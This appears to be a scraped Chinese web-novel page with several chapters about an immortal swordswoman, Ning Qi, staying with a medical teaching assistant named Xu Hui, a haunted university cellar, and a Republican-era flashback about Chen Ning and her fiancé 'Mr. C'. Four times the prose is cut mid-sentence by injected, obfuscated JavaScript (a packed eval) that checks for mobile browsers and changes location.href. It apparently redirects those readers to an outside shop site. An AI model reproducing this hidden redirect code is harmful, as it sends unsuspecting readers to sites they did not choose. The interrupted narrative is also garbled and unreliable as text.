“吓到你了?下午你昏迷的时候喊过这个名字。”许回声音淡淡的,“只是随口一问……我也有些睡不着。” 解释显得有些苍白。 宁期没有立即回答,跟一个现代版本的“许不春”解释许不春,总感觉怪怪的。 沉默片刻后,宁期才开口:“是我师兄,师尊把我捡回来之后就把我扔给他了。” 宁期还记得,在遥远的过去,师尊把她带回山前,蹲在她面前一本正经地叮嘱: “等为师把你带回山的时候,见到你师兄一定死死抱住他的腿,千万别撒手,你师兄这人嘴硬心软,你求求他,他肯定不忍心不管你的。” 小小的宁期没有询问师尊:“那您老去哪儿?”乖巧地点点头。 于是,回山之后,小宁期连师兄的脸都没看到,就一股脑扑过去抱住了仙气飘飘的师兄……的腿。 师尊这人虽然没谱,把小宁期丢给许不春后,大尾巴狼似地指点一番又跑没影了。但他是看人却准,许不春确实是个嘴硬心软的人。 一边嫌弃一边把还没他腿高的宁期抱起来,让她坐在自己臂弯,一养就是一百个春秋。 许回静静听着没有打断。 “然后呢?” 这次,宁期沉默的时间很久,久到许回甚至以为她不会回答了。 “死了。” “死了?” 宁期在被子里翻了个身,小半张脸隐在被子里,声音听不出是什么情绪:“他是天道的一部分,只是为了让我飞升的契机,他死了,所以我就飞升了。” 许回没有理解她这抽象的表达,开口询问:“你的意思是,他不是人?” “……”宁期不说话了。 次日,宁期跟着许回下山,又碰到了之前在山下卖登山杖的婆婆,她认出了宁期,笑着打趣拜庙果然有用,这么快就找到了姻缘。 宁期不太在意这些打趣,但还是下意识看了一眼许回,而后者也没有反对,一如既往的好说话。 山下不远处就是车道,昨天车辆限号,许回今天只好打车。 过路口的时候,许回侧过头看向宁期,果不其然,宁期一个眼神都没有分给红绿灯,自顾自准备往前走。 许回早有准备,眼疾手快,抬手捏住宁期的后衣服领。 “要看路。”他拎着宁期,另一只手指向红绿灯,像是教小朋友一样悉心指导,从红绿灯每个颜色的含义到斑马线,事无巨细,末了还让宁期重复一遍。 直到两人坐上车,许回老师的“过马路小课堂”才堪堪结束。 车辆向前驶动出一条街道,宁期不自觉皱起脸来,两只手抓住自己的衣角。 见她这副样子,许回觉得有些荒谬,迟疑地询问。 “你……晕车?” 宁期点点头又摇摇头,弯腰把脸埋进手里,整个人缩成一团。 许回好笑又忧心,手扶着宁期肩膀减小颠簸的影响,看了一眼司机,才低声询问:“你们神仙不都是会御剑的吗?怎么反而还晕车?” 宁期声音闷闷:“谁告诉你的?只有剑修才御剑,而且就算会御剑也会晕啊。” “哦?这样啊,那你是修什么的?” “……剑修。 许回声音里带着掩盖不住的笑意:“原来是没有努力修炼。” 说完,将自己这边的车窗打开一条缝隙透气,但又不会直接吹到宁期。 你一言我一语间,出租车停在一个小区门口。 小区建成时间不短,但也算得上干净雅致,墙上的爬山虎已经有些泛黄。 上楼,许回教给宁期怎么开密码锁,进门后,他看了一眼时间,一边洗水果一边叮嘱:“我要出去上班,晚些时候才能回来。” 然后急匆匆把一碗红红蓝蓝的浆果放到宁期手里,弯腰和她对视:“等我下班再带你出去吃饭,在家乖乖等我,你在山上答应过我的,对不对?” 见宁期点头,他满意地在她头上拍拍后,拿着外套出门。 门被关上的那一刻,屋子安静下来,只有黑色屏幕上的圆滚滚的色块小人。 宁期一边往嘴里塞水果,一边在家里踱步。 一个干净的小两居,看起来只有许回一个人住,没有多余的装饰品,家居色调也很统一,沙发、茶几甚至餐桌都放着一本本医学期刊。 宁期转了两圈没有乱动东西。 她看向门口,纠结了好一会。 灵力自从从白玉京回来之后,就已经跌没了十之八九,现在实力十不存一,但好在速度降了下来。 今天故意没跟着许回,就是为了调查燕曲非给她的地址。 但是。 她之前都答应许回不乱跑了,前一天答应人家第二天就明知故犯,多少不合适。 宁期很苦恼,但是等她回过神,已经走到马路了。 于是,宁期愉快地说服了自己,兵来将挡,水来土掩,反正许回总不会一直生她的气,她不了解许回还不了解跟许回一个长相的许不春嘛。 面相学流传至今还是有道理的。 他们还都姓许。 好在宁期要去的地方在本市广为人知,走一路问一路,等到地方时,她已经了解了七七八八。 宁期看向面前的建筑,门楼很高,青砖已经被腐蚀得剥落旧漆。朱红的大门只剩下暗沉的红色,哪怕在正午也显得阴沉,门环垂着,锈蚀发黑。 身处闹市,但显得死气沉沉。 关于这座建筑的传言五花八门,但都围绕着一个主角,宅子最后的一任主人的女儿。 这个宅子原本属于一个民国的富商,姓陈。 陈老爷和夫人很恩爱,但是两人年近不惑才有一个女儿,全家都对这个小小姐宝贝得紧,但不知道是不是陈夫人生产时年纪太大,陈小姐身体不好,人也呆呆的。 家里为婚事操碎了心,高门大户看不上,身世低微的,陈家夫妇又怕对方只是为了家产,不好好对待自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又东一榔头西一棒槌闲聊了一会,天色将近黄昏,秋风轻抚,原本安静的桂花树轻摇慢晃,光影摇曳。宁期手里的饮料有些温热了,但还剩了大半,她喝不惯,跟可乐一样扎嘴,但是秋桂很香。 相比于没有日夜流转的白玉京,宁期还是更想留在人间。 她想起了许回。 对了,许回。 “嬢嬢,一般下班都是几点啊?” 老板娘愣了一下,显然没想到话题跳得这么快,但还是回答到:“喔唷,六点左右吧,都五点半了,我这会也得做饭去了,姑娘,你留下吃饭不?” “不了不了,我得回去了。”宁期站起身,和老板娘和矮墩墩的小朋友告别,急匆匆朝家里狂奔。 但是……小区长得都差不多。 宁期欲哭无泪,早知道就不走神了,只顾着怎么出来忘了怎么回去了。 来来回回绕了几圈,宁期终于找到了回去的路。 还好她被许回带回家的时候记得是哪个楼,她三步作两步,像一道白色残影。 好消息,许回还没回家。 坏消息,她不会用密码锁。 上面的数字是乱序的,她生活的时候还没有阿拉伯数字啊!她知道密码也不知道点哪个。 宁期纠结片刻,重新回到楼下,眯眼看着楼上,许回家住在七楼,沿着水管爬上去可以从窗户里钻进去。 就在她爬到二楼时,就被物业发现,然后,当小偷抓起来了。 在物业前厅,和下班回家的许回面面相觑。 6. 小许老师 在得知宁期确实和许回认识,物业才让许回带着宁期回去。 许回叹了口气,不知道拿宁期怎么办才好,凶了怕她不高兴,不凶她又当耳旁风。 只能无奈询问:“这次乱跑是什么原因?” 宁期默默开口:“其实我是想去找你的……” 许回接下来的话都被扼杀在喉咙。 “哦。”许回侧过脸咳了一声,没再继续问下去,耳根有些发热。 于是,第二天早上七点半,宁期刚睡醒就被许回拎出来,坐车来到一座大学城。 她眼神还有些恍惚,抛去成仙后不需要睡眠的那几百年,就算是在还是人的时候,也鲜少有晨钟暮鼓的时候。 昨晚,许回带她去买了常服。 回家后,两人又折腾一番,把书房腾出来给宁期住。 宁期打了个哈欠,她穿着毛衣和中规中矩的长款百褶裙,羊毛柔软的触感让她忍不住一直在上面摸摸,黑发搭在肩膀上,说是学生也没有什么违和感。 在大学并没有引起什么侧目。 许回停好车后,顺手买了一杯热豆浆给宁期:“先喝点热的,进去后带你去吃早饭。” 宁期乖乖点头,扫了一眼门口的门牌石。 上面龙飞凤舞写着校名,红漆是新上的,泛着亮光,但依旧能看出这块石头经过风雨剥蚀,边缘已经圆钝,可见,这座大学已经建成很久。 宁期抱着豆浆,有一口没一口地嘬,跟在许回身后,路旁种着一溜的香樟树,拐了几个弯到了一座单独的学院。 有几个学生结伴去路过,招手跟许回打招呼。 “早啊,小许老师。” 许回点点头:“早。” 路过实验楼,一个面容枯槁的学生,看到许回后,从还没开灯的走廊窜出来,上下嘴皮子一张,毫无征兆开始嚎,把宁期吓了一跳,嘬了一大口豆浆,烫得斯哈斯哈。 “许助!实验……我已经跑了五遍了,为什么数据还是不准啊!!” 许回没有宁期反应大,像是习以为常,拿出一包纸巾递给宁期。然后在崩溃的学生肩膀上拍了一下:“你去问一下其他人做实验的时候做了什么,照着做,一步都不要省。” 宁期擦擦嘴,等人走后,声音都忍不住压低了,生怕再从哪儿突然蹦出一个人贴脸。 “许回,你很厉害吗?” 看样子像是什么……师尊、长老、夫子、老师之类的。 不过宁期前世的生活里除了师兄许不春,就没有其他人了,生活经验实在寥寥,所以没有贸然下结论。 “并没有,”许回声音淡淡的,“只是因为助教永远都在被找。” 宁期思索,宁期恍然,宁期曾经也是大事小事都叫师兄。 快到食堂后,空气里终于多了些人间烟火气。 “看看有没有什么想吃的?”许回在宁期后背轻轻拍了一下,示意她抬头看食堂窗口。 看着陌生的菜名,宁期诚实地摇摇头:“我都没吃过……” 闻言,许回忍不住笑了一下:“那就一样来一点。” 宁期他们来得早,食堂人不算多,周围都是困得双眼发直的学生,有人一边看手机一边叹气。 在排到第三个窗口时,终于有人忍不住朝宁期看去。 这个食堂靠近实验楼,学生也都是医学院的,不少都认识身为助教的许回。 有人和同伴嘀嘀咕咕:“诶诶,小许老师旁边那个……是不是女朋友?之前没怎么见过许助跟别人一起吃饭啊。” “但是谁会带女朋友来上班啊?咱们这还是医学院,待一天连约会都没心情了吧,估计晚上回去都得做噩梦诶。” 声音不大,但正好能隐约听到。 许回动作顿了一下,像是没听到,把热腾腾的煎饼放到宁期手里的餐盘里,带着她朝一张桌子走去。 但宁期却微微偏过头,认真思考了一下这个词。 然后,她轻声问:“女朋友是什么职位?” 许回被咖啡呛了一口。 “不是职位。”他咳嗽两声,“先吃饭,吃完再说。” 但直到吃完,宁期都没有从许回口中得知女朋友到底是什么。 饭后,两人来到办公室,办公室此时只有另一个助教在,抬头和许回打了个招呼,然后又看向宁期:“这位是?” 许回早有应对:“亲戚家的一个妹妹,跟家里吵架了,来我这里住一段时间,怕她自己待着无聊,就带来了。” 转而,又朝宁期介绍:“小期,这位是周助教。” 许回拉了一张椅子放在自己工位旁边,让宁期坐着,又在手机上找了给小学生看的早教片,然后把新买的耳机带到她头上,还小心地注意没夹到头发。 许回做的得心应手,宁期也老老实实坐着,没觉得哪里不对劲。 只有周助挠了挠脸,有些羡慕:“你们兄妹感情真好啊,我妹青春期之后就不理人了。” 整个上午,许回都在埋头看文献,咖啡喝了一杯又一杯,一会在电脑前啪嗒啪嗒敲键盘,一会又被叫走跑数据,忙得脚不沾地。 宁期刚开始还能老实坐着,到后面就忍不住转椅子,最后又开始盯着许回发呆。 埋头批报告的许回时不时抬头看她一眼,看着宁期把脸搭在他批完的一摞报告上发呆,柔软的脸颊被压出一个小小的弧度,顿觉心情大好,批报告都有劲了,提笔在一份潦草的报告的空白处,挥下一笔:重写。 然后放下笔,看向宁期:“很无聊吗?我还要忙一会,无聊的话你自己出去逛逛好吗?”然后把自己的饭卡递过去,“有什么想吃的可以刷卡,别出学校就好。” 闻言,宁期直起身子,脸上被压出一条红痕也毫无觉察,接过饭卡答应下来。 就在她要走出办公室时,旁边那个姓周的助教开口叫住她:“诶,妹妹,你记得别去南区那边,那边在施工呢。” “好。” 宁期顺着走廊慢慢往外走。 医学院的楼很长,窗户高而窄,光线被切成一条一条。偶尔有学生抱着实验材料匆匆经过,低着头,神情专注。 没人注意她。 上了两节“现代网课”的宁期感觉自己和别人没什么不一样了,学着许回买早餐的样子,买了一杯很多人排队买的甜甜饮品:奶茶,漫无目的沿着校园散步,绿化丛中时不时能看到晒太阳的小猫,小猫很亲人,会翻出肚皮给宁期摸。 面对人多的地方,她还是有些不习惯,越走越僻静,直到一个人都没有了。 宁期抬头四处打量打量。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263354|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路走来,她感觉每个楼都差不多,一样的灰白墙体,每个窗口都一样有学生,但这里应该是一座废弃的楼,窗户都碎了,门口也长出了荒草。 她不打算进去,会把新衣服弄脏,而且快到吃午饭的时间了,她要给许回打包一份午饭。 许回应该会高兴。 宁期很喜欢这样的生活,像以前和许不春一起生活的时候一样,相比于人人艳羡的飞升,她还是更喜欢阳光落在身上会感到暖融融的人间。 这么想着,宁期准备往回走。 突然,一阵急促的脚步声响起。 几个学生几乎是滚着从旧楼里出来,激起的粉尘连路边的宁期都受到了波及,手电筒在地上滚了两圈,光晃得人眼花。 “卧槽!我就说了不该继续往里走!” “行了行了,别喊了,人呢?人都出来了吗?” 跪坐在地上的学生伸出手指清点人数:“一,二,三四,五。齐了齐了,不对,咱们来的时候有人穿的裙子吗?” “你脑缺吧,咱几个都是男的,穿哪门子裙……” 话还没说完,惊魂未定的几人悚然一惊,顺着裙角抬头往上看,又尖叫地抱成一团。 “啊啊啊啊啊!鬼啊!!” 宁期愣愣看着这群学生,其中一个她认识,今早还和许回打过招呼,嗓子特别好。 那学生嚎了一会,似乎也认出了宁期。 “你……姐,不对妹,你是今天和许助一起的那个?” 听到这话,几人也不嚎了,一溜烟从地上爬起来,拍拍身上的灰。 两相沉默之际,另一名戴着眼镜的男生拽了拽好嗓子,小声询问:“咱们现在怎么办啊?林子还没出来呢……” 好嗓子:“找导员……?” 眼睛看了一眼宁期,把声音压得更低:“学校三令五申不让来这边,被发现肯定得记过。” 几个人面面相觑了一会,空气里只剩下没散干净的灰尘味道,还有几个医学生身上的消毒水味。 “要不再进去看看?可能就是风声,或者老鼠什么的……刚刚手电筒一晃,人就容易自己吓自己。” “得了吧,刚刚不是你先开始喊的? 几人越吵越偏,既不敢回去,又不敢告诉学校。 宁期一边喝奶茶一边思索。 先不说这里究竟闹不闹鬼,就算闹鬼,也不敢动她。 况且这几人认识许回,宁期不太了解助教到底算个什么身份,但是据她观察,应该勉强算是他们的师兄。许回帮了她很多忙,她救许回的人也是应该的。 于是她喝完最后一口奶茶,淡淡开口:“我进去看看吧。” 那几个人几乎同时抬头,齐刷刷看向宁期,她看起来年纪比他们还小,还是个女孩子,长得也乖乖巧巧…… 抛下男人自尊不谈,宁期也是许回带来的,真要出什么事…… “不是……” “我觉得还是要从长计议。” “对啊,而且这事本来也跟你没关系……万一你出什么事。” 宁期见他们嗯嗯啊啊没个准话,不打算跟他们浪费时间,把空了的奶茶杯递过去。 “帮我把这个丢掉,我没找到丢东西的地方。” 说完,抬步就朝着几人出来的地方走去。 7. 地下三层 宁期的勇往直前,显然挑战到了几名医学生的尊严。 面面相觑后,眼镜和好嗓子打头跟了上去,剩下两个男生紧随其后。 于是,宁期刚走进废弃教学楼的门厅,就听到几个人跟着她进来了。 她停下脚步,那几个人也跟着停下来。 “你们都跟来干什么?”宁期不解。 刚才害怕得死活不肯进来的也是他们。 “对啊,都跟进来做什么?”好嗓子一拍手,恍然大悟,转身看向后面跟着的两人,“万一咱们团灭了怎么办?你们在外面等,要是我们一直不出来,你们就告诉导员。” 剩下的几人纷纷点头同意,义薄云天地在好嗓子肩膀上重重拍了两巴掌:“好兄弟。” “不是……”宁期有点头疼,指了指好嗓子,以及被好嗓子勒着,无法移动半步的眼镜,“你们也走,我自己去。” “这不行。”好嗓子一口回绝,“你本来就和这事没关系,只叫你自己去算怎么个事?更何况你还是小许老师带来的,出了事我们怎么和他交代?” 如果真的有鬼,他们跟着也是拖累,但宁期也不好直说,只能默许他们跟着。 于是两个人在外面接应,眼镜和好嗓子一左一右,拿着手电筒跟着宁期浩浩荡荡地深入。 没走两步,几人就来到了楼梯口,阳光照不到这里,以至于哪怕是正午,也显出几分阴气。 楼梯旁边是一个通往地下的通道,周围的灰尘有被摩擦的痕迹,显然,这几人就是从这里连滚带爬出来的。 宁期没有犹豫,踩着嵌入石壁的梯子,往下走,剩下两人拿着手电筒帮她照亮。 “妹妹,你小心点,梯子下面那几节断了。”好嗓子声音带着担忧。 “没事。” 宁期跳到地上,接住好嗓子扔下来的手电筒,在地下空间四处照。 面前是一条长长的走廊,两边是对称的房间,旁边堆着木箱,箱盖歪着,里面空空如也,只剩下一些碎片和发黑的棉絮,穹顶是拱形的,砖石裸露着,墙面依稀能看出刷过石灰的痕迹。 在她观察的空档,好嗓子和眼镜也下来了。 宁期:“人是在哪里丢的?” 好嗓子开口解释:“不是这一层,还得再往下一层。” 说完,他带着宁期往前穿过回廊,空气里只回荡着空旷的脚步声,低矮的穹顶压迫着三人,好嗓子实在受不了这令人不安的寂静,两根手指捏着宁期的袖口,朝她搭话:“妹妹,你不害怕吗?而且我怎么感觉你在发光呢?” 因为是神仙啊,傻孩子,神仙体覆微光不是很正常?早两年可比这亮多了。 但宁期显然不能这么回答,顾左右而言他:“这不是还没出什么事吗?而且这里不就是个废弃的地窖吗。” “哈,”闻言,好嗓子突然自豪起来,“我们来一个普通的地窖做什么?这里可是之前打仗存尸体的地方,是我们医学院最老的建筑了,不少神神鬼鬼的传说呢。” 宁期不知道他在自豪什么,普通人知道有地方闹鬼,都是避而远之,这几个人反而抱团来送。 谁知,宁期刚一问完,好嗓子却突然深沉正经,好像这个地窖的阴森恐怖,在一瞬间就变成给他塑造氛围的了:“为了求知。” “作为医学生,我们或许是最贴近尸体的人,我们会学习人体构造,会解剖人体,我们力求真实,解除未知之上的迷雾,而死亡后是什么,则是这层迷雾中最深远的部分。” “我们哪里忍得住不去探查?” 谈话间,几人已经走到了走廊的尽头,与刚刚他们下来的爬梯不同,这里是正常的阶梯,这才符合存尸地的构造,要是都是爬梯,还得把尸体抛上抛下,多少有点不尊重死者。 地下二层,除了穹顶是平的,和一层没有什么区别。 宁期静静地听着,等好嗓子高谈阔论结束,看向她的眼神带上了几分亟盼,才缓缓开口:“那你们跑什么?想求知的话你们应该待在里面啊。” 好嗓子:“……” 在这一点上,眼镜早有应对:“我们害怕。” 说完,他推了推自己的本体镜腿,补充,”这是生理反应啊。” 宁期没有反驳,而是顺着眼镜的话说:“那假如有一个你们的同伴,在发现真的有鬼,但是非要一探究竟,你们会怎么办?” 好嗓子:“……” 眼镜:“如果是亲近的人,就强行拉走,如果是不认识的人,就……尊重个人命运吧。” 宁期呼出一口气,点了点头:“所以你们的求知,既没有到生死无畏的地步,又不甘于什么都不做,这点好奇不叫求知,只是头脑发热。你们这次没有遇到危险,只是因为运气好。” 眼镜沉默下来,他知道宁期说的是对的。 连滚带爬地跑出来,还弄丢了个人,最后甚至要依靠一个根本不认识的小姑娘帮忙,眼镜越想越觉得羞愧,低着头不说话。 地下二层依旧一无所获,宁期准备继续深入。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263355|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她刚刚的训话只是看在许回的面子上,不过这几个学生运气确实不错,这里确实没有鬼,从她下到地窖到现在,没有闻到一丝鬼气,也不知道这几个学生是怎么把人搞丢的。 就在她走到二层尽头,准备下楼时,却发现好嗓子和眼镜都没有跟上来。 “你们别吓我啊,前面是墙啊,你们走什么呢?” 是好嗓子的声音。 闻言,宁期重新收回脚步,没有朝三层走去。 眼镜声音微微发颤,被好嗓子这么一说,他也不敢动了:“前面不还有一段路吗?” 宁期看向两人,两人正在二层走廊,距离自己大概五步远。 但是在她眼里,看到的和他们都不一样,自己正站在通往地下三层的楼梯前,很深,楼梯仿佛没有尽头。 “你们能看到去三层的楼梯吗?” 这下,好嗓子和眼镜都沉默了。 “三层……建校的时候就封了。”好嗓子吞了口口水继续补充,“地下本来是有四层的,但是因为‘四’这个数不吉利,打完仗就锁上了,剩下三层是学校放标本用的。” 至于是什么标本不言而喻。 “但是后来,施工队来封四层的楼梯的时候,工人都说见鬼了,于是只好连带着三层也封上了,闹鬼的传说就是这事的原型,一直传到现在。” 好嗓子一口气说完后,走廊一时寂静下来,他更是连大气都不敢喘。 宁期仿佛意识到了什么。 这里没有鬼,不意味着没有其他东西,而据她所知,唯一能做到迷惑外来者的,就只有阵法。 但很显然,这个阵法不是害人的,否则就凭他们几个,就不可能只是落下一个人了。 可,不是为了害人,那布下这个阵法,就只有可能是为了保护什么不被人发现。 既如此,宁期也不打算强行破了这个阵法,更何况她也不精于此道。 “在这里等我。”宁期开口,“不要乱走。” 如果她迷失在里面还可以强行破阵,但是带着他们两个,破阵难免不会受到波及。 没等两人回答,宁期直接走下楼梯。 “这有什么好等的?”好嗓子没有理解宁期的话,往前走了几步打开一扇门,拿手电往里照去。 墙角堆放着几个铁架推床,轮子早就锈死了,床板倾斜着。 但没有人。 好嗓子的世界观显然受到了冲击。 “她刚才……是从这里走进去的吧。” 8. C先生 宁期随着阶梯一步步往下走。 原本灯罩已经破碎的白炽灯,钨丝闪烁两下,时隔百年重新亮了起来。 她不自觉去捏自己的袖口,层层叠叠的蕾丝花边手感很好,往下走了一段路,才想起要把青色的裙角拢起,否则会在走路的时候蹭到墙角的石灰。 通道是回形相接的,石壁崭新,两侧有很多不同的房间,门上挂着空白的牌子,还没有安排该作何用。 “新做的,还没给他看,不能弄脏。”她小声念叨着,提着裙摆,踩着羊皮小靴哒哒地朝前走,“……人呢?” 她心里有些害怕,看向周围,虽然是新建的地下室,灯光常亮,但一想到自己在地底,难免觉得阴森。 就在她无头苍蝇一样打转时,终于听到了其他人的脚步声,就在她准备去寻着脚步声找去,想让人把自己带出来的时候,突然想到,自己的未婚夫说过除了他之外,别人都是坏人。 未婚夫是留洋回来的,肯定比她聪明,说的话也一定是对的。 父亲也说过她要乖乖听话。 于是,她焦急地在原地转了两圈,随手打开一扇门钻了进去,但是因为怕黑,又悄悄留下一条小缝。 脚步声逐渐凑近。 最后,准确无误在门口停了下来。 门被轻轻敲响,她吓得一颤。 “阿宁?” 陈宁小心看向那条缝隙,抬起脸,撞上门外笑得眼角上翘的人。 “你来了!”陈宁迅速打开门,扑到来人怀里,“C……” 她的未婚夫来找她了。 “怎么跑到这里来了?”C伸出手抱住陈宁,安抚地顺她的头发,“吓到了吗?” 原本微不足道的恐惧,在被C点破后,突然变成了滔天的委屈和后怕,她连连点头:“我的眼睛好了,但是你不在家里,林叔叔说你在学校里,我就跑出来了,不知道怎么就走到这里来了。” C看起来也很开心,用脸颊在陈宁的脸颊上轻轻蹭了一下。 “我说过可以治好你的眼睛,对不对?” 陈宁又用力点点头,对C的信任和依赖更甚,曾经哪怕她看不见,却也能听见母亲经常抱着自己啜泣。 “那我们是不是可以结婚了?” 爸爸妈妈说过,等她的眼睛好了就可以跟C结婚了。 “阿宁,结婚不是这么随便的事情。”C拍了拍陈宁的头,牵起她的手朝着出口走去,空旷的通道把他的声音衬托出几分莫名的悠远,“你要喜欢我才能娶你啊。” “我喜欢你呀。” C的脚步不停,没有回答。 “我喜欢你呀,”陈宁又重复了一遍,拽住C的手不许他继续走,“我喜欢你,你不相信我吗?” 小时候,确实总有人说过她呆呆的,于是那些人都被爸爸妈妈赶出去了,陈宁知道自己和别人不一样,她不如别人聪明,但是她分得清喜欢和不喜欢。这是她分得最清楚的事了。 C终于停下来,在她脸上捏了一下顺势擦掉快要掉出来的眼泪。 灯光从头顶落下,哪怕陈宁踮脚、用力去看,依旧看不清C的脸。 最后陈宁还是被C连哄带骗带出了地窖。 坐上车时,陈宁注意到司机好像换人了,是一个年轻的男人,估计也就比她大一些,以前的司机都是管家叔叔的年纪了,想到这一点,陈宁心中升起一点小小的雀跃。 她观察得很仔细,如果妈妈在的话肯定会夸她,夸她比别人还要聪明。 回家的时候,陈父陈母已经在门口等了,在看见C带着陈宁回来后,悬着的心才堪堪放下。 陈母急匆匆走下台阶,把陈宁塞进怀里,哪怕她已经19岁了,母亲抱她的方式还是跟抱小孩子一样,恨不得把陈宁囫囵罩住。 “妈妈……” 陈宁话还没说完,就被陈母拧了一下脸颊。 “怎么到处乱跑?再这样,以后就不许你……”还不等母亲威胁的话说完,陈宁就立马低下头,绞着裙子不说话了。 不得不说,陈母很吃这一套,陈宁也知道妈妈吃这一套,于是顺势开始撒娇:“我知道错了……” 陈父轻轻揽住母女二人:“好了,先去吃饭。” 然后对着C点头示意。 陈父在商海打拼多年,大风大浪见得多了,但是面对自己这个准女婿时,却总感到束手束脚,哪怕C已经住在这里3年多了。 餐桌前,新兴的水晶吊灯熠熠发光,是西洋新运过来的。 陈宁和C坐在一边,陈父陈母坐在一边。 看着饭桌上融洽的气氛,陈宁苦思冥想,最终决定平地起惊雷,之前明明是C主动想要娶自己的,无微不至地照顾她,直到她的眼睛好起来。 可现在,等她喜欢上C,他反而不认账了。 陈宁有一口没一口吃着剥好的蟹肉,嘟嘟囔囔:“你为什么不和我结婚?” 这下,陈父陈母夹菜的动作也停下来。 C缓缓看向身旁的陈宁。 “这是什么意思?”还不等她说话,陈母一拍桌子,声音带着掩盖不住的颤,“你也觉得小宁她……” 话没说完,她侧头看了看女儿。 在C刚出现的时候,陈母确实不信任他,毕竟C连个正经名字都没有,陈母没出过国,也不了解西洋文化,她只想给女儿找一个靠谱的托付,这样她百年之后也能安心。 而随着逐年累月的相处,她也发现C并非贪图财色的人,不仅对女儿照顾细心,还帮忙把商会打理得井井有条。她能看出来,如果C想,他完全可以找到更好的姑娘,于是陈母的担忧从C身上转移到了自己女儿身上,担心这桩不算高攀的婚事。 她年纪大了,身体也日渐衰弱。 良人难寻,岁月易逝。 而陈父则在忧虑上松了一口气,毕竟他实在看不出这个年轻人在想什么,想做什么。 C迅速抽出手帕擦了擦嘴角,出言解释:“伯父伯母,我知道你们的忧虑,我从不觉得阿宁比别人差,在我心里无论是谁,都没法和阿宁相比。” “但是,我不能因为治好了她就让她和我结婚,哪怕不在一起,我日后也会照顾她。” “我只是希望,她能明白婚姻意味着什么,再下决定。” 等他说完,饭桌陷入沉默,但没有一个从餐桌前离开。 “可是,你们在一起三年了,小宁她怎么可能不喜欢你?”陈母声音有些干涩。 陈宁终于能插上话:“我喜欢他呀。” 后来又说了些什么,陈宁不知道,就像之前看不清C的脸一样,有什么横亘在她和C之间。 于是,又是沉默。 陈宁不知道这沉默意味着什么,同时,她也不知道,为什么她喜欢C,C也喜欢她,但是他们不能结婚。 艰难的饭吃完,陈宁照常准备和C手牵手去散步,现在是初春,夜里有些冷了,C给她围上披肩,又帮她整理好衣服。 出门前,原先那个年轻司机不知道从哪儿冒了出来。 “许……”还没说完,就立马改了口,“C先生。” C点点头,随意招呼过来一个清扫的仆从:“这位叫林成,带他去找管家,随意在宅子里给他找份活做。” “走吧,”安排好后,C摸摸陈宁的头,“想去哪里?首饰铺新进了一批货,带你去逛逛好不好?” 陈宁现在还是有些不高兴,对于C不娶她的事耿耿于怀,故意把微凉的手往他袖口伸。 C照单全收,任由陈宁赌气,带着她去城中的首饰铺去。 夜色刚落下,就被城中灯火照彻出另一番绚丽的光景。 陈宅的位置很好,隔了一条街就是城内最热闹的街区,陈宁被C牵着走在青石板路上,买点心的铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263356|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还开着,白气慢慢往外散。书铺引进了海外的书籍,进进出出的人里,有旗袍和长褂,有洋裙有西装,怀里抱着拗口名字的硬皮书,出现最多的是《哈姆雷特》。 正是一番新春气象。 C给陈宁买了一小包奶油泡芙:“尝一尝好不好?” 这一路上,陈宁都没怎么说话。 看着油纸里的泡芙,外皮烤得微焦发脆,填充着白白的奶油,陈宁还是乖乖拿了一个,轻轻咬了一口,但毕竟刚吃完饭,只吃了两个就嫌腻不吃了。 “剩下的你吃掉吧。” 因为C今天反悔不娶她,所以她要惩罚C,让他吃自己剩下的泡芙。 C已经拿起了一个泡芙,听到陈宁的话,忍不住笑了:“谢谢小姐。” 看着C毫无芥蒂吃甜点,陈宁心里又有点新的不舒服。 很快,两人来到首饰店中,这家店铺不算大,却很讲究。 橱窗里铺着深色绒布,玻璃擦得极亮,灯光从上方打下来,迎着一排排细巧的首饰;珍珠项链被盘成柔软的弧度,银质胸针别着掐丝珐琅花纹,几枚戒指安静地躺在天鹅绒布托盘。 门口挂着铃,客人进去时会发出薄且脆的铃声,和着旁边咖啡店留声机播放的《第九交响曲》,整合出一小段新的浪漫主义时期。 在陈宁和C之前进门的是一对青年情侣,门口的伙计客气询问两人的关系,并帮忙推荐合适的首饰,男子笑着把姑娘纤细的手放在唇边轻轻落下一吻,坦白了其未婚夫妻的关系。 伙计笑着恭喜。 看着这一幕,陈宁隐隐有些期待,余光悄悄扫过C。 